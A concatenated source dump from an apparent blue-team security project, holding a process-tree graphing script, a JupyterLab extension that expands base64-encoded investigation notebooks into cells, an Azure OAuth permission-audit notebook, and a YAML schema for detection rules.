26 | PID: {}
\
27 | CommandLine: {}
\
28 | GUID: {}\
29 | Parent GUID: {}\
30 | ".format(
31 | row['sourcehostname'],
32 | row['devicecustomstring4'],
33 | row['destinationusername'],
34 | row['sourceprocessid'],
35 | row['resourcecustomfield2'],
36 | row['deviceexternalid'], #guid
37 | row['flowsiemid'], #parent guid
38 | )
39 | G.add_node(row['flowsiemid'], color='#30a1a5',size=20, title=parent_meta, label=row['sourceprocessname'],)
40 |
41 | #process meta
42 | process_meta = "\
43 | LogonID: {}/{}
\
44 | Account: {}
\
45 | CommandLine: {}
\
46 | Parent:{}\
47 | GUID: {}\
48 | Parent GUID: {}\
49 | ".format(
50 | row['sourcehostname'],
51 | row['devicecustomstring4'],
52 | row['destinationusername'],
53 | row['resourcecustomfield1'],
54 | row['sourceprocessname'],
55 | row['deviceexternalid'], #guid
56 | row['flowsiemid'], #parent guid
57 |
58 | )
59 | G.add_node(row['deviceexternalid'], color='#30a1a5',size=20, title=process_meta, label=row['destinationprocessname'])
60 | G.add_edge(row['flowsiemid'], row['deviceexternalid'], weight=10)
61 | return 1
62 |
63 | #deviceexternalid - image guid
64 | #flowsiemid - parent image guid
65 | process_tree_nodes['OK'] = process_tree_nodes.apply(lambda row: create_graph(row), axis=1)
66 |
67 | nt = net.Network("1000px", "1000px", heading="Process Tree Graph", notebook=True, directed=True)
68 | nt.from_nx(G)
69 | nt.show("process_tree_graph.html")
70 |
71 |
--------------------------------------------------------------------------------
/omega/vizr-extension/.eslintignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | dist
3 | coverage
4 | **/*.d.ts
5 | tests
6 |
--------------------------------------------------------------------------------
/omega/vizr-extension/.eslintrc.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | extends: [
3 | 'eslint:recommended',
4 | 'plugin:@typescript-eslint/eslint-recommended',
5 | 'plugin:@typescript-eslint/recommended',
6 | 'plugin:prettier/recommended'
7 | ],
8 | parser: '@typescript-eslint/parser',
9 | parserOptions: {
10 | project: 'tsconfig.json',
11 | sourceType: 'module'
12 | },
13 | plugins: ['@typescript-eslint'],
14 | rules: {
15 | '@typescript-eslint/naming-convention': [
16 | 'error',
17 | {
18 | 'selector': 'interface',
19 | 'format': ['PascalCase'],
20 | 'custom': {
21 | 'regex': '^I[A-Z]',
22 | 'match': true
23 | }
24 | }
25 | ],
26 | '@typescript-eslint/no-unused-vars': ['warn', { args: 'none' }],
27 | '@typescript-eslint/no-explicit-any': 'off',
28 | '@typescript-eslint/no-namespace': 'off',
29 | '@typescript-eslint/no-use-before-define': 'off',
30 | '@typescript-eslint/quotes': [
31 | 'error',
32 | 'single',
33 | { avoidEscape: true, allowTemplateLiterals: false }
34 | ],
35 | curly: ['error', 'all'],
36 | eqeqeq: 'error',
37 | 'prefer-arrow-callback': 'error'
38 | }
39 | };
40 |
--------------------------------------------------------------------------------
/omega/vizr-extension/.gitignore:
--------------------------------------------------------------------------------
1 | *.bundle.*
2 | lib/
3 | node_modules/
4 | *.egg-info/
5 | .ipynb_checkpoints
6 | *.tsbuildinfo
7 | vizr-extension/labextension
8 |
9 | # Created by https://www.gitignore.io/api/python
10 | # Edit at https://www.gitignore.io/?templates=python
11 |
12 | ### Python ###
13 | # Byte-compiled / optimized / DLL files
14 | __pycache__/
15 | *.py[cod]
16 | *$py.class
17 |
18 | # C extensions
19 | *.so
20 |
21 | # Distribution / packaging
22 | .Python
23 | build/
24 | develop-eggs/
25 | dist/
26 | downloads/
27 | eggs/
28 | .eggs/
29 | lib/
30 | lib64/
31 | parts/
32 | sdist/
33 | var/
34 | wheels/
35 | pip-wheel-metadata/
36 | share/python-wheels/
37 | .installed.cfg
38 | *.egg
39 | MANIFEST
40 |
41 | # PyInstaller
42 | # Usually these files are written by a python script from a template
43 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
44 | *.manifest
45 | *.spec
46 |
47 | # Installer logs
48 | pip-log.txt
49 | pip-delete-this-directory.txt
50 |
51 | # Unit test / coverage reports
52 | htmlcov/
53 | .tox/
54 | .nox/
55 | .coverage
56 | .coverage.*
57 | .cache
58 | nosetests.xml
59 | coverage.xml
60 | *.cover
61 | .hypothesis/
62 | .pytest_cache/
63 |
64 | # Translations
65 | *.mo
66 | *.pot
67 |
68 | # Scrapy stuff:
69 | .scrapy
70 |
71 | # Sphinx documentation
72 | docs/_build/
73 |
74 | # PyBuilder
75 | target/
76 |
77 | # pyenv
78 | .python-version
79 |
80 | # celery beat schedule file
81 | celerybeat-schedule
82 |
83 | # SageMath parsed files
84 | *.sage.py
85 |
86 | # Spyder project settings
87 | .spyderproject
88 | .spyproject
89 |
90 | # Rope project settings
91 | .ropeproject
92 |
93 | # Mr Developer
94 | .mr.developer.cfg
95 | .project
96 | .pydevproject
97 |
98 | # mkdocs documentation
99 | /site
100 |
101 | # mypy
102 | .mypy_cache/
103 | .dmypy.json
104 | dmypy.json
105 |
106 | # Pyre type checker
107 | .pyre/
108 |
109 | # End of https://www.gitignore.io/api/python
110 |
111 | # OSX files
112 | .DS_Store
113 |
--------------------------------------------------------------------------------
/omega/vizr-extension/.prettierignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | **/node_modules
3 | **/lib
4 | **/package.json
5 | vizr-extension
6 |
--------------------------------------------------------------------------------
/omega/vizr-extension/.prettierrc:
--------------------------------------------------------------------------------
1 | {
2 | "singleQuote": true,
3 | "trailingComma": "none",
4 | "arrowParens": "avoid"
5 | }
6 |
--------------------------------------------------------------------------------
/omega/vizr-extension/:select-last-run-cell:
--------------------------------------------------------------------------------
1 | {
2 | "cells": [
3 | {
4 | "cell_type": "code",
5 | "execution_count": 1,
6 | "metadata": {},
7 | "outputs": [],
8 | "source": [
9 | "print(\"hello\")"
10 | ]
11 | },
12 | {
13 | "cell_type": "code",
14 | "execution_count": 2,
15 | "metadata": {},
16 | "outputs": [],
17 | "source": [
18 | "print(\"hello\")"
19 | ]
20 | }
21 | ],
22 | "metadata": {},
23 | "nbformat": 4,
24 | "nbformat_minor": 4
25 | }
26 |
--------------------------------------------------------------------------------
/omega/vizr-extension/DRC-05.ipynb:
--------------------------------------------------------------------------------
1 | {
2 | "cells": [
3 | {
4 | "cell_type": "code",
5 | "execution_count": 2,
6 | "metadata": {},
7 | "outputs": [],
8 | "source": [
9 | "import sys\n",
10 | "import logging\n",
11 | "base_path = \"../../../../\"\n",
12 | "sys.path.insert(0, base_path + \"STR/str-omega/\")"
13 | ]
14 | },
15 | {
16 | "cell_type": "code",
17 | "execution_count": 3,
18 | "metadata": {},
19 | "outputs": [],
20 | "source": [
21 | "from omega.vizr import VizrIntegration\n",
22 | "import pandas as pd"
23 | ]
24 | },
25 | {
26 | "cell_type": "code",
27 | "execution_count": 7,
28 | "metadata": {},
29 | "outputs": [
30 | {
31 | "name": "stdout",
32 | "output_type": "stream",
33 | "text": [
34 | "#drc\n",
35 | "W3sibWFya2Rvd24iOiAiIyMgQ2hlY2sgaW52ZW50b3J5IGFwcHMgd2l0aCBhY2Nlc3MgaW4geW91ciBvcmdhbml6YXRpb24ifSwgeyJjb2RlIjogImZyb20gdml6ci5henVyZS5iYXNlIGltcG9ydCBBenVyZVxuIn0sIHsibWFya2Rvd24iOiAiIyMgRW50ZXIgY2xpZW50X2lkLCB0ZW5hbnRfaWQsIHNlY3JldFxuIn0sIHsiY29kZSI6ICJheiA9IEF6dXJlKFxuICAgIGNsaWVudF9pZCA9IFwiLi4ucmVkYWN0ZWQgLi4uLlwiLFxuICAgIHRlbmFudF9pZCA9IFwiLi4uXCIsXG4gICAgc2VjcmV0ID0gXCIuLi5cIlxuKVxuIn0sIHsibWFya2Rvd24iOiAiIyMgUnVuIGNlbGxzIGJlbG93IGFuZCByZXZpZXc6XG4tIEluIHRoZSBDb25zZW50VHlwZSBzZWFyY2ggZm9yIHRoZSB2YWx1ZSBcIkFsbFByaW5jaXBsZXNcIi4gVGhlIEFsbFByaW5jaXBhbHMgcGVybWlzc2lvbiBhbGxvd3MgdGhlIGNsaWVudCBhcHBsaWNhdGlvbiB0byBhY2Nlc3MgZXZlcnlvbmUncyBjb250ZW50IGluIHRoZSB0ZW5hbmN5LiBOYXRpdmUgTWljcm9zb2Z0IDM2NSBhcHBsaWNhdGlvbnMgbmVlZCB0aGlzIHBlcm1pc3Npb24gdG8gd29yayBjb3JyZWN0bHkuIEV2ZXJ5IG5vbi1NaWNyb3NvZnQgYXBwbGljYXRpb24gd2l0aCB0aGlzIHBlcm1pc3Npb24gc2hvdWxkIGJlIHJldmlld2VkIGNhcmVmdWxseS5cbi0gSW4gdGhlIFBlcm1pc3Npb24gY29sdW1uIHJldmlldyB0aGUgcGVybWlzc2lvbnMgdGhhdCBlYWNoIGRlbGVnYXRlZCBhcHBsaWNhdGlvbiBoYXMgdG8gY29udGVudC4gTG9vayBmb3IgXFxcIlJlYWRcXFwiIGFuZCBcXFwiV3JpdGVcXFwiIHBlcm1pc3Npb24gb3IgXFxcIiouQWxsXFxcIiBwZXJtaXNzaW9uLCBhbmQgcmV2aWV3IHRoZXNlIGNhcmVmdWxseSBiZWNhdXNlIHRoZXkgbWF5IG5vdCBiZSBhcHByb3ByaWF0ZS5cbiJ9LCB7ImNvZGUiOiAicGQuc2V0X29wdGlvbihcbiAgICAnZGlzcGxheS5tYXhfY29sd2lkdGgnLCAxMDBcbilcbmF6LmdldE9hdXRoMlBlcm1pc3Npb25HcmFudHMoKVxuIn1d\n"
36 | ]
37 | }
38 | ],
39 | "source": [
40 | "drc = VizrIntegration(\n",
41 | " omega_rules_home = base_path +\"STR-UPS/wip/wip-azure-c2/stratum1\", \n",
42 | " mapping= base_path+\"STR/str-omega/config/mapping.yml\"\n",
43 | ").buildDRC(\"drc-05\")\n",
44 | "\n",
45 | "pd.set_option(\n",
46 | " 'display.max_colwidth', 100\n",
47 | ")\n",
48 | "print(drc)"
49 | ]
50 | },
51 | {
52 | "cell_type": "markdown",
53 | "metadata": {},
54 | "source": [
55 | "## Check inventory apps with access in your organization"
56 | ]
57 | },
58 | {
59 | "cell_type": "code",
60 | "execution_count": null,
61 | "metadata": {},
62 | "outputs": [],
63 | "source": [
64 | "from vizr.azure.base import Azure\n"
65 | ]
66 | },
67 | {
68 | "cell_type": "markdown",
69 | "metadata": {},
70 | "source": [
71 | "## Enter client_id, tenant_id, secret\n"
72 | ]
73 | },
74 | {
75 | "cell_type": "code",
76 | "execution_count": null,
77 | "metadata": {},
78 | "outputs": [],
79 | "source": [
80 | "az = Azure(\n",
81 | " client_id = \"...redacted ....\",\n",
82 | " tenant_id = \"...\",\n",
83 | " secret = \"...\"\n",
84 | ")\n"
85 | ]
86 | },
87 | {
88 | "cell_type": "markdown",
89 | "metadata": {},
90 | "source": [
91 | "## Run cells below and review:\n",
92 | "- In the ConsentType search for the value \"AllPrinciples\". The AllPrincipals permission allows the client application to access everyone's content in the tenancy. Native Microsoft 365 applications need this permission to work correctly. Every non-Microsoft application with this permission should be reviewed carefully.\n",
93 | "- In the Permission column review the permissions that each delegated application has to content. Look for \\\"Read\\\" and \\\"Write\\\" permission or \\\"*.All\\\" permission, and review these carefully because they may not be appropriate.\n"
94 | ]
95 | },
96 | {
97 | "cell_type": "code",
98 | "execution_count": null,
99 | "metadata": {},
100 | "outputs": [],
101 | "source": [
102 | "pd.set_option(\n",
103 | " 'display.max_colwidth', 100\n",
104 | ")\n",
105 | "az.getOauth2PermissionGrants()\n"
106 | ]
107 | },
108 | {
109 | "cell_type": "code",
110 | "execution_count": null,
111 | "metadata": {},
112 | "outputs": [],
113 | "source": []
114 | }
115 | ],
116 | "metadata": {
117 | "kernelspec": {
118 | "display_name": "Python 3",
119 | "language": "python",
120 | "name": "python3"
121 | },
122 | "language_info": {
123 | "codemirror_mode": {
124 | "name": "ipython",
125 | "version": 3
126 | },
127 | "file_extension": ".py",
128 | "mimetype": "text/x-python",
129 | "name": "python",
130 | "nbconvert_exporter": "python",
131 | "pygments_lexer": "ipython3",
132 | "version": "3.8.1"
133 | }
134 | },
135 | "nbformat": 4,
136 | "nbformat_minor": 4
137 | }
138 |
--------------------------------------------------------------------------------
/omega/vizr-extension/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2020, STR All rights reserved.
4 |
5 | Redistribution and use in source and binary forms, with or without
6 | modification, are permitted provided that the following conditions are met:
7 |
8 | * Redistributions of source code must retain the above copyright notice, this
9 | list of conditions and the following disclaimer.
10 |
11 | * Redistributions in binary form must reproduce the above copyright notice,
12 | this list of conditions and the following disclaimer in the documentation
13 | and/or other materials provided with the distribution.
14 |
15 | * Neither the name of the copyright holder nor the names of its
16 | contributors may be used to endorse or promote products derived from
17 | this software without specific prior written permission.
18 |
19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
29 |
--------------------------------------------------------------------------------
/omega/vizr-extension/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include LICENSE
2 | include README.md
3 | include pyproject.toml
4 | include jupyter-config/vizr-extension.json
5 |
6 | include package.json
7 | include install.json
8 | include ts*.json
9 | include yarn.lock
10 |
11 | graft vizr-extension/labextension
12 |
13 | # Javascript files
14 | graft src
15 | graft style
16 | prune **/node_modules
17 | prune lib
18 |
19 | # Patterns to exclude from any directory
20 | global-exclude *~
21 | global-exclude *.pyc
22 | global-exclude *.pyo
23 | global-exclude .git
24 | global-exclude .ipynb_checkpoints
25 |
--------------------------------------------------------------------------------
/omega/vizr-extension/README.md:
--------------------------------------------------------------------------------
1 | # vizr-extension
2 |
3 | 
4 |
5 | A JupyterLab extension.
6 |
7 |
8 |
9 | ## Requirements
10 |
11 | * JupyterLab >= 3.0
12 |
13 | ## Install
14 |
15 | To install the extension, execute:
16 |
17 | ```bash
18 | pip install vizr-extension
19 | ```
20 |
21 | ## Uninstall
22 |
23 | To remove the extension, execute:
24 |
25 | ```bash
26 | pip uninstall vizr-extension
27 | ```
28 |
29 |
30 | ## Contributing
31 |
32 | ### Development install
33 |
34 | Note: You will need NodeJS to build the extension package.
35 |
36 | The `jlpm` command is JupyterLab's pinned version of
37 | [yarn](https://yarnpkg.com/) that is installed with JupyterLab. You may use
38 | `yarn` or `npm` in lieu of `jlpm` below.
39 |
40 | ```bash
41 | # Clone the repo to your local environment
42 | # Change directory to the vizr-extension directory
43 | # Install package in development mode
44 | pip install -e .
45 | # Link your development version of the extension with JupyterLab
46 | jupyter labextension develop . --overwrite
47 | # Rebuild extension Typescript source after making changes
48 | jlpm run build
49 | ```
50 |
51 | You can watch the source directory and run JupyterLab at the same time in different terminals to watch for changes in the extension's source and automatically rebuild the extension.
52 |
53 | ```bash
54 | # Watch the source directory in one terminal, automatically rebuilding when needed
55 | jlpm run watch
56 | # Run JupyterLab in another terminal
57 | jupyter lab
58 | ```
59 |
60 | With the watch command running, every saved change will immediately be built locally and available in your running JupyterLab. Refresh JupyterLab to load the change in your browser (you may need to wait several seconds for the extension to be rebuilt).
61 |
62 | By default, the `jlpm run build` command generates the source maps for this extension to make it easier to debug using the browser dev tools. To also generate source maps for the JupyterLab core extensions, you can run the following command:
63 |
64 | ```bash
65 | jupyter lab build --minimize=False
66 | ```
67 |
68 | ### Development uninstall
69 |
70 | ```bash
71 | pip uninstall vizr-extension
72 | ```
73 |
74 | In development mode, you will also need to remove the symlink created by `jupyter labextension develop`
75 | command. To find its location, you can run `jupyter labextension list` to figure out where the `labextensions`
76 | folder is located. Then you can remove the symlink named `vizr-extension` within that folder.
77 |
--------------------------------------------------------------------------------
/omega/vizr-extension/Untitled.ipynb:
--------------------------------------------------------------------------------
1 | {
2 | "cells": [
3 | {
4 | "cell_type": "code",
5 | "execution_count": 2,
6 | "metadata": {},
7 | "outputs": [
8 | {
9 | "name": "stdout",
10 | "output_type": "stream",
11 | "text": [
12 | "hello\n"
13 | ]
14 | }
15 | ],
16 | "source": [
17 | "print(\"hello\")"
18 | ]
19 | },
20 | {
21 | "cell_type": "code",
22 | "execution_count": null,
23 | "metadata": {},
24 | "outputs": [],
25 | "source": []
26 | },
27 | {
28 | "cell_type": "code",
29 | "execution_count": null,
30 | "metadata": {},
31 | "outputs": [],
32 | "source": [
33 | "print(\"hello\")"
34 | ]
35 | },
36 | {
37 | "cell_type": "code",
38 | "execution_count": 3,
39 | "metadata": {},
40 | "outputs": [],
41 | "source": [
42 | "notebook:select-last-run-cell"
43 | ]
44 | },
45 | {
46 | "cell_type": "code",
47 | "execution_count": null,
48 | "metadata": {},
49 | "outputs": [],
50 | "source": []
51 | },
52 | {
53 | "cell_type": "code",
54 | "execution_count": null,
55 | "metadata": {},
56 | "outputs": [],
57 | "source": [
58 | "notebook:select-last-run-cell"
59 | ]
60 | },
61 | {
62 | "cell_type": "code",
63 | "execution_count": null,
64 | "metadata": {},
65 | "outputs": [],
66 | "source": [
67 | "#2\n",
68 | "notebook:select-last-run-cell"
69 | ]
70 | }
71 | ],
72 | "metadata": {
73 | "kernelspec": {
74 | "display_name": "Python 3",
75 | "language": "python",
76 | "name": "python3"
77 | },
78 | "language_info": {
79 | "codemirror_mode": {
80 | "name": "ipython",
81 | "version": 3
82 | },
83 | "file_extension": ".py",
84 | "mimetype": "text/x-python",
85 | "name": "python",
86 | "nbconvert_exporter": "python",
87 | "pygments_lexer": "ipython3",
88 | "version": "3.8.1"
89 | }
90 | },
91 | "nbformat": 4,
92 | "nbformat_minor": 4
93 | }
94 |
--------------------------------------------------------------------------------
/omega/vizr-extension/install.json:
--------------------------------------------------------------------------------
1 | {
2 | "packageManager": "python",
3 | "packageName": "vizr-extension",
4 | "uninstallInstructions": "Use your Python package manager (pip, conda, etc.) to uninstall the package vizr-extension"
5 | }
6 |
--------------------------------------------------------------------------------
/omega/vizr-extension/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "vizr-extension",
3 | "version": "0.1.0",
4 | "description": "A JupyterLab extension.",
5 | "keywords": [
6 | "jupyter",
7 | "jupyterlab",
8 | "jupyterlab-extension"
9 | ],
10 | "homepage": "https://github.com/str-ext-community/blue_team_as_code/tree/main/omega/vizr-extension/",
11 | "bugs": {
12 | "url": "https://github.com/github_username/vizr-extension/issues"
13 | },
14 | "license": "BSD-3-Clause",
15 | "author": {
16 | "name": "STR",
17 | "email": "str"
18 | },
19 | "files": [
20 | "lib/**/*.{d.ts,eot,gif,html,jpg,js,js.map,json,png,svg,woff2,ttf}",
21 | "style/**/*.{css,.js,eot,gif,html,jpg,json,png,svg,woff2,ttf}"
22 | ],
23 | "main": "lib/index.js",
24 | "types": "lib/index.d.ts",
25 | "style": "style/index.css",
26 | "repository": {
27 | "type": "git",
28 | "url": "https://github.com/github_username/vizr-extension.git"
29 | },
30 | "scripts": {
31 | "build": "jlpm run build:lib && jlpm run build:labextension:dev",
32 | "build:prod": "jlpm run clean && jlpm run build:lib && jlpm run build:labextension",
33 | "build:labextension": "jupyter labextension build .",
34 | "build:labextension:dev": "jupyter labextension build --development True .",
35 | "build:lib": "tsc",
36 | "clean": "jlpm run clean:lib",
37 | "clean:lib": "rimraf lib tsconfig.tsbuildinfo",
38 | "clean:labextension": "rimraf vizr-extension/labextension",
39 | "clean:all": "jlpm run clean:lib && jlpm run clean:labextension",
40 | "eslint": "eslint . --ext .ts,.tsx --fix",
41 | "eslint:check": "eslint . --ext .ts,.tsx",
42 | "install:extension": "jlpm run build",
43 | "watch": "run-p watch:src watch:labextension",
44 | "watch:src": "tsc -w",
45 | "watch:labextension": "jupyter labextension watch ."
46 | },
47 | "dependencies": {
48 | "@jupyterlab/application": "^3.0.0",
49 | "@jupyterlab/notebook": "^3.0.10",
50 | "@types/node": "^15.0.3",
51 | "js-yaml": "^4.1.0",
52 | "typings": "^2.1.1"
53 | },
54 | "devDependencies": {
55 | "@jupyterlab/builder": "^3.0.0",
56 | "@typescript-eslint/eslint-plugin": "^4.8.1",
57 | "@typescript-eslint/parser": "^4.8.1",
58 | "eslint": "^7.14.0",
59 | "eslint-config-prettier": "^6.15.0",
60 | "eslint-plugin-prettier": "^3.1.4",
61 | "npm-run-all": "^4.1.5",
62 | "prettier": "^2.1.1",
63 | "rimraf": "^3.0.2",
64 | "typescript": "~4.1.3"
65 | },
66 | "sideEffects": [
67 | "style/*.css",
68 | "style/index.js"
69 | ],
70 | "styleModule": "style/index.js",
71 | "jupyterlab": {
72 | "extension": true,
73 | "outputDir": "vizr-extension/labextension"
74 | }
75 | }
76 |
--------------------------------------------------------------------------------
/omega/vizr-extension/pyproject.toml:
--------------------------------------------------------------------------------
1 | [build-system]
2 | requires = ["jupyter_packaging~=0.10,<2", "jupyterlab~=3.0"]
3 | build-backend = "jupyter_packaging.build_api"
4 |
5 | [tool.jupyter-packaging.options]
6 | skip-if-exists = ["vizr-extension/labextension/static/style.js"]
7 | ensured-targets = ["vizr-extension/labextension/static/style.js", "vizr-extension/labextension/package.json"]
8 |
9 | [tool.jupyter-packaging.builder]
10 | factory = "jupyter_packaging.npm_builder"
11 |
12 | [tool.jupyter-packaging.build-args]
13 | build_cmd = "build:prod"
14 | npm = ["jlpm"]
15 |
16 | [tool.check-manifest]
17 | ignore = ["vizr-extension/labextension/**", "yarn.lock", ".*", "package-lock.json"]
18 |
--------------------------------------------------------------------------------
/omega/vizr-extension/setup.py:
--------------------------------------------------------------------------------
1 | """
2 | vizr-extension setup
3 | """
4 | import json
5 | from pathlib import Path
6 |
7 | import setuptools
8 |
9 | HERE = Path(__file__).parent.resolve()
10 |
11 | # The name of the project
12 | name = "vizr-extension"
13 |
14 | lab_path = (HERE / name / "labextension")
15 |
16 | # Representative files that should exist after a successful build
17 | ensured_targets = [
18 | str(lab_path / "package.json"),
19 | str(lab_path / "static/style.js")
20 | ]
21 |
22 | labext_name = "vizr-extension"
23 |
24 | data_files_spec = [
25 | ("share/jupyter/labextensions/%s" % labext_name, str(lab_path), "**"),
26 | ("share/jupyter/labextensions/%s" % labext_name, str(HERE), "install.json"),
27 | ]
28 |
29 | long_description = (HERE / "README.md").read_text()
30 |
31 | # Get the package info from package.json
32 | pkg_json = json.loads((HERE / "package.json").read_bytes())
33 |
34 | setup_args = dict(
35 | name=name,
36 | version=pkg_json["version"],
37 | url=pkg_json["homepage"],
38 | author=pkg_json["author"]["name"],
39 | author_email=pkg_json["author"]["email"],
40 | description=pkg_json["description"],
41 | license=pkg_json["license"],
42 | long_description=long_description,
43 | long_description_content_type="text/markdown",
44 | packages=setuptools.find_packages(),
45 | install_requires=[
46 | "jupyter_server>=1.6,<2"
47 | ],
48 | zip_safe=False,
49 | include_package_data=True,
50 | python_requires=">=3.6",
51 | platforms="Linux, Mac OS X, Windows",
52 | keywords=["Jupyter", "JupyterLab", "JupyterLab3"],
53 | classifiers=[
54 | "License :: OSI Approved :: BSD License",
55 | "Programming Language :: Python",
56 | "Programming Language :: Python :: 3",
57 | "Programming Language :: Python :: 3.6",
58 | "Programming Language :: Python :: 3.7",
59 | "Programming Language :: Python :: 3.8",
60 | "Programming Language :: Python :: 3.9",
61 | "Framework :: Jupyter",
62 | ],
63 | )
64 |
65 | try:
66 | from jupyter_packaging import (
67 | wrap_installers,
68 | npm_builder,
69 | get_data_files
70 | )
71 | post_develop = npm_builder(
72 | build_cmd="install:extension", source_dir="src", build_dir=lab_path
73 | )
74 | setup_args['cmdclass'] = wrap_installers(post_develop=post_develop, ensured_targets=ensured_targets)
75 | setup_args['data_files'] = get_data_files(data_files_spec)
76 | except ImportError as e:
77 | pass
78 |
79 | if __name__ == "__main__":
80 | setuptools.setup(**setup_args)
81 |
--------------------------------------------------------------------------------
/omega/vizr-extension/src/index.ts:
--------------------------------------------------------------------------------
1 | import {
2 | JupyterFrontEnd,
3 | JupyterFrontEndPlugin
4 | } from '@jupyterlab/application';
5 | import {
6 | INotebookTracker,
7 | NotebookActions
8 | } from '@jupyterlab/notebook';
9 | import { Buffer } from "buffer"
10 |
11 | /**
12 | * Initialization data for the vizr-extension extension.
13 | */
14 | const extension: JupyterFrontEndPlugin = {
15 | id: 'vizr-extension:plugin',
16 | autoStart: true,
17 | optional: [INotebookTracker],
18 | activate: (app: JupyterFrontEnd, notebookTracker: INotebookTracker | null) => {
19 | console.log('JupyterLab extension vizr-extension is activated!');
20 |
21 | NotebookActions.executed.connect((_, action) => {
22 | const current = notebookTracker.currentWidget;
23 | const notebook = current.content;
24 |
25 | var DRC = false;
26 | var content = action.cell.model.toJSON()['source'] as string;
27 | let out = action.cell.model.toJSON()['outputs'] as Array;
28 | out = out[0]
29 | let k: keyof typeof out;
30 | for (k as String in out) {
31 | const v = out[k];
32 | if(String(k) == "text" && String(v).startsWith('#drc')){
33 | DRC = true;
34 | content = String(v);
35 | break;
36 | }
37 | }
38 | if (DRC){
39 | var activeindex = notebook.activeCellIndex
40 | let ar = content.split("\n");
41 | if(ar.length >= 2){
42 | // console.log('decoding b64 ...')
43 | let b64 = ar[1]; //.substring(1);
44 | let buff = Buffer.from(b64, 'base64');
45 | var arr = JSON.parse(buff.toString('utf-8')); //try catch
46 | if (Array.isArray(arr)){
47 | arr.forEach(function (item) {
48 | let k = Object.keys(item)[0];
49 | let code = item[k];
50 | let activeCell = notebook.activeCell;
51 | NotebookActions.insertBelow(notebook);
52 | activeCell.model.value.text = code;
53 |
54 | //change type to markdown
55 | if (k == "markdown"){
56 | notebook.activeCellIndex = notebook.activeCellIndex - 1;
57 | NotebookActions.changeCellType(notebook, k);
58 | notebook.activeCellIndex = notebook.activeCellIndex + 1;
59 | }
60 | });
61 | notebook.activeCellIndex = activeindex++;
62 | NotebookActions.renderAllMarkdown(notebook)
63 | } else {
64 | // console.log('not array ...')
65 | }
66 | }
67 | }
68 | });
69 | }
70 | };
71 |
72 | export default extension;
--------------------------------------------------------------------------------
/omega/vizr-extension/style/base.css:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/str-ext-community/blue_team_as_code/9b92ded9ab587620c478ce73362fad4c5404c7b6/omega/vizr-extension/style/base.css
--------------------------------------------------------------------------------
/omega/vizr-extension/style/index.css:
--------------------------------------------------------------------------------
1 | @import url('base.css');
2 |
--------------------------------------------------------------------------------
/omega/vizr-extension/style/index.js:
--------------------------------------------------------------------------------
1 | import './base.css';
2 |
--------------------------------------------------------------------------------
/omega/vizr-extension/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "allowSyntheticDefaultImports": true,
4 | "composite": true,
5 | "declaration": true,
6 | "esModuleInterop": true,
7 | "incremental": true,
8 | "jsx": "react",
9 | "module": "esnext",
10 | "moduleResolution": "node",
11 | "noEmitOnError": true,
12 | "noImplicitAny": true,
13 | "noUnusedLocals": true,
14 | "preserveWatchOutput": true,
15 | "resolveJsonModule": true,
16 | "outDir": "lib",
17 | "rootDir": "src",
18 | "strict": true,
19 | "strictNullChecks": false,
20 | "target": "es2017",
21 | "types": ["node"],
22 | "typeRoots": ["node_modules/@types"]
23 | },
24 | "include": ["src/*"]
25 | }
26 |
--------------------------------------------------------------------------------
/omega/vizr-extension/vizr-extension/__init__.py:
--------------------------------------------------------------------------------
1 |
2 | import json
3 | from pathlib import Path
4 |
5 | from ._version import __version__
6 |
7 | HERE = Path(__file__).parent.resolve()
8 |
9 | with (HERE / "labextension" / "package.json").open() as fid:
10 | data = json.load(fid)
11 |
12 | def _jupyter_labextension_paths():
13 | return [{
14 | "src": "labextension",
15 | "dest": data["name"]
16 | }]
17 |
18 |
--------------------------------------------------------------------------------
/omega/vizr-extension/vizr-extension/_version.py:
--------------------------------------------------------------------------------
1 | import json
2 | from pathlib import Path
3 |
4 | __all__ = ["__version__"]
5 |
6 | def _fetchVersion():
7 | HERE = Path(__file__).parent.resolve()
8 |
9 | for settings in HERE.rglob("package.json"):
10 | try:
11 | with settings.open() as f:
12 | return json.load(f)["version"]
13 | except FileNotFoundError:
14 | pass
15 |
16 | raise FileNotFoundError(f"Could not find package.json under dir {HERE!s}")
17 |
18 | __version__ = _fetchVersion()
19 |
20 |
--------------------------------------------------------------------------------
/yaml/validation/rare_behavior_schema.yml:
--------------------------------------------------------------------------------
1 | type: map
2 | mapping:
3 | "tldr": #describe the attack/exploit/tool covered
4 | type: str
5 | "atd": # [optional] link to an attack testing dataset
6 | type: str
7 | "drc": # [optional] generic detection-and-response-as-code (DRC) threat investigation code
8 | type: str
9 | "vizr": # [optional] vizr-specific instructions/code
10 | type: str
11 | "snpr_policy":
12 | type: map
13 | mapping:
14 | "violator":
15 | required: True
16 | type: str
17 | "category":
18 | required: True
19 | type: str
20 | "threatname":
21 | required: True
22 | type: str
23 | "functionality":
24 | required: True
25 | type: str
26 | "behavior":
27 | type: map
28 | mapping:
29 | "rare_behavior":
30 | type: map
31 | mapping:
32 | "behavior_profile":
33 | type: map
